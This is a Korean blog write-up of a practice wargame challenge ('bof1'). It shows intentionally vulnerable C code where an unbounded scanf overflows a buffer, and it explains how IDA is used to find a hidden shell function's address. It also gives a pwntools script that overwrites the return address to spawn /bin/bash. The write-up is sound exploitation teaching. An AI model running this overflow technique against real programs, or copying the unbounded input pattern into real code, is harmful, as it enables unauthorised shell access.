들어가기 전에
만약 IDA가 설치되어있다면 IDA를 이용하여 실행파일만 가지고 문제를 풀어보는것을 추천한다.
본 풀이는 IDA로 소스코드를 확인했다는 전제하에 풀이를 진행하는것으로 IDA를 쓰기 어렵다면 그냥 주어진 소스코드를 확인해도 괜찮다.
1. 소스코드 확인
#include <stdio.h>
#include <stdlib.h>
void secret() {
system("/bin/bash");
}
void init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
int main() {
char a[0x44];
init();
scanf("%s", a);
return 0;
}
- 소스코드를 확인해보니 secret이라는 함수 안에 system함수로 shell을 실행하는 명령어가 들어있음을 확인했다.
- 이렇다면 secret함수의 시작주소를 return 함수의 주소로 옮긴다면 exploit 가능할 것이라 생각한다.
- 또한 scanf()라는 취약점이 존재하는 함수를 사용하여 배열 a에 들어가는 글자의 제한이 없어 bof가 가능함을 확인할 수있다.
2. 보안기법 확인

checksec bof1
- 명령어로 확인해보니 보안기법은 하나도 안켜져있는것을 확인할 수 있고, 32bit파일임을 확인할 수 있다.
- 그렇다면 return address 에 secret 함수의 주소를 넣으면 exploit 가능할 것이라는 가설이 더욱 확실해졌다.
3. secret 함수 주소 찾기
함수의 시작주소를 얻는 방법은 여러가지가 있지만, 가장 간단하다고 생각되는 IDA를 이용하여 함수주소를 얻어보겠다.
IDA Free: Disassembler & Decompiler at No Cost
Free disassembler and decompiler to learn reverse engineering. Core IDA features at no cost for students and non-commercial use. Download and start today.
hex-rays.com

- IDA로 bof1파일을 켜서 들어가면 해당 화면을 확인할 수 있다.
- 왼쪽에 보면 여러 함수들을 확인할 수 있는데, 이중 secret함수에 볼 일이 있으니 해당 함수로 들어가자


- 해당 페이지에 들어가서 스페이스바를 누르면 왼쪽 사진과 같은 함수의 주소를 볼 수 있는 화면이 나오게된다.
- 여기에서 secret함수의 주소를 복사하여 payload를 작성할때 활용하도록 하자.
4. Payload 작성
소스코드에서 확인했듯이 취약한 함수인 scanf()를 이용하여 bof를 유발하고 이를 secret함수로 이어지게끔 만들자.
from pwn import *
p = process('./bof1')
secret = 0x08049196 # secret 함수의 시작주소. ida에서 secret 함수 부분에서 스페이스바를 누르면 구할 수 있음.
pay = b'a'*0x48 # v4 덮기
pay += b'a'*4 # sfp
pay += b'\x96\x91\x04\x08'
p.sendline(pay) #sendline과 send의 차이는 엔터까지 보내주느냐 안보내주느냐 임
p.interactive()
- 다음과같은 코드를 작성할 수 있는데 여기서 두가지 이상한 부분을 확인할 수 있다.
- a배열의 크기는 0x44인데 어째서 0x48을 덮는가?
- 마지막 secret함수의 주소를 넣는 부분은 왜 저런 형식으로 넣는가?
1번은 IDA에서 확인할 수 있다.

- IDA에 main함수부분을 들어가 tab을 누르면 어셈블리어가 우리가 잘 아는 코드로 바뀌에 된다.
- 해당 코드를 확인해보면 소스코드에 있던 a배열이 v4임을 확인할 수 있고 그 옆에 주석으로 [ebp-48]이란것을 확인할 수 있다.
- 해당 포시는 v4의 마지막 위치가 ebp(스택의 맨 처음)와 0x48만큼 떨어져있다는것을 의미하므로 스택을 다 채우기 위해선 0x48만큼을 더미데이터로 채워야한다는 것이다.
- 이해하는데 어려움이 있다면 다른 포스팅을 참고해보길 추천한다.
2번은 little endian에 대한 이해가 필요하기에 첨부된 블로그 글을 정독해보길 추천한다.
https://softtone-someday.tistory.com/20
[개념정리] 빅엔디안(Big Endian)과 리틀엔디안(Little Endian)
통신을 하다 보면 통신 패킷이 반대로 나갈 때가 있습니다. 예를 들면 1 2 3 4를 보냈는데 막상 받는 쪽에서 들어온 패킷은 4 3 2 1인 거죠 이는 컴퓨터 CPU의 데이터를 저장하는 순서에서 발생하는
softtone-someday.tistory.com
- 간단히 설명하자면 데이터를 받는 형식이 뒤에서부터 차곡차곡받아야하기에 저런 형식이 나오는것이라 생각하면 된다.
5. 실행결과

- 실행결과 보이는것과 같이 정상적으로 쉘을 획득했음을 확인할 수 있다.
'워게임' 카테고리의 다른 글
| [시스템 해킹] out_of_bound write-up (0) | 2026.02.04 |
|---|---|
| [시스템 해킹] shell_bof write-up (0) | 2026.01.18 |
| math.c write-up (0) | 2026.01.16 |
| ICEWALL web-hacking 스터디반 과제 정리 3 (0) | 2026.01.04 |
| [웹 해킹] xss-1 write-up (0) | 2026.01.03 |